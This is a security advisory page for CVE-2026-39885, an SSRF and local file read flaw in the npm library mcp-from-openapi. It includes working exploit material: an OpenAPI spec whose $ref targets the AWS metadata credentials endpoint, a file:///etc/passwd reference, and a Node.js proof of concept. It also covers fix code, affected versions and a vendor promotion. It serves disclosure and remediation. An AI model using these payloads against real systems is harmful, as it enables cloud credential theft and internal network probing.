CVE-2026-39885

The mcp-from-openapi library uses @apidevtools/json-schema-ref-parser to dereference $ref pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing $ref values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the initialize() call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.

Affected Versions

<= 2.1.2 (latest)

CWE

CWE-918: Server-Side Request Forgery (SSRF)

Vulnerability Details

File: index.js lines 870-875

When OpenAPIToolGenerator.initialize() is called, it dereferences the OpenAPI document using json-schema-ref-parser:

this.dereferencedDocument = await import_json_schema_ref_parser.default.dereference(
  JSON.parse(JSON.stringify(this.document))
);

No options are passed to .dereference(), no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in $ref values, including:

• http:// and https:// URLs (internal services, cloud metadata)
• file:// URLs (local filesystem)

This is the default behavior of json-schema-ref-parser, it resolves all $ref pointers by fetching the referenced resource.

Exploitation

Attack 1: SSRF to internal services / cloud metadata

A malicious OpenAPI spec containing:

{
  "openapi": "3.0.0",
  "info": { "title": "Evil API", "version": "1.0" },
  "paths": {
    "/test": {
      "get": {
        "operationId": "getTest",
        "summary": "test",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
                }
              }
            }
          }
        }
      }
    }
  }
}

When processed by OpenAPIToolGenerator, the library fetches http://169.254.169.254/latest/meta-data/iam/security-credentials/ from the server, potentially leaking AWS IAM credentials.

Attack 2: Local file read

{
  "$ref": "file:///etc/passwd"
}

The ref parser reads local files and includes their contents in the dereferenced output.

Proof of Concept

const http = require('http');
const { OpenAPIToolGenerator } = require('mcp-from-openapi');

// Start attacker server to prove SSRF
const srv = http.createServer((req, res) => {
    console.log(`SSRF HIT: ${req.method} ${req.url}`);
    res.writeHead(200, {'Content-Type': 'application/json'});
    res.end('{"type":"string"}');
});

srv.listen(9997, async () => {
    const spec = {
        openapi: '3.0.0',
        info: { title: 'Evil', version: '1.0' },
        paths: {
            '/test': {
                get: {
                    operationId: 'getTest',
                    summary: 'test',
                    responses: {
                        '200': {
                            description: 'OK',
                            content: {
                                'application/json': {
                                    schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof' }
                                }
                            }
                        }
                    }
                }
            }
        }
    };

    const gen = new OpenAPIToolGenerator(spec, { validate: false });
    await gen.initialize();
    // Output: "SSRF HIT: GET /ssrf-proof"
    // The library fetched our attacker URL during $ref dereferencing.

    srv.close();
});

Tested and confirmed on mcp-from-openapi v2.1.2. The attacker server receives the GET request during initialize().

• Cloud credential theft, $ref pointing to http://169.254.169.254/ steals AWS/GCP/Azure metadata
• Internal network scanning, $ref values can probe internal services and ports
• Local file read, file:// protocol reads arbitrary files from the server filesystem
• No privileges required, attacker only needs to provide a crafted OpenAPI spec to any application using this library

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-39885 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.0, 1.0.4); upgrading removes the vulnerable code path.

Kodem intelligence

Pass resolver options to dereference() that restrict which protocols and hosts are allowed:

this.dereferencedDocument = await $RefParser.dereference(
  JSON.parse(JSON.stringify(this.document)),
  {
    resolve: {
      file: false,        // Disable file:// protocol
      http: {
        // Only allow same-origin or explicitly allowed hosts
        headers: this.options.headers,
        timeout: this.options.timeout,
      }
    }
  }
);

Or disable all external resolution and require all schemas to be inline:

this.dereferencedDocument = await $RefParser.dereference(
  JSON.parse(JSON.stringify(this.document)),
  {
    resolve: { file: false, http: false, https: false }
  }
);

1. What is CVE-2026-39885? CVE-2026-39885 is a high-severity server-side request forgery (SSRF) vulnerability in mcp-from-openapi (npm), affecting versions <= 2.1.2. It is fixed in 2.3.0, 1.0.4. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-39885? CVE-2026-39885 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-39885?
   • mcp-from-openapi (npm) (versions <= 2.1.2)
   • @frontmcp/sdk (npm) (versions <= 1.0.3)
   • @frontmcp/adapters (npm) (versions <= 1.0.3)
4. Is there a fix for CVE-2026-39885? Yes. CVE-2026-39885 is fixed in 2.3.0, 1.0.4. Upgrade to this version or later.
5. Is CVE-2026-39885 exploitable, and should I be worried? Whether CVE-2026-39885 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-39885 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-39885?
   • Upgrade mcp-from-openapi to 2.3.0 or later
   • Upgrade @frontmcp/sdk to 1.0.4 or later
   • Upgrade @frontmcp/adapters to 1.0.4 or later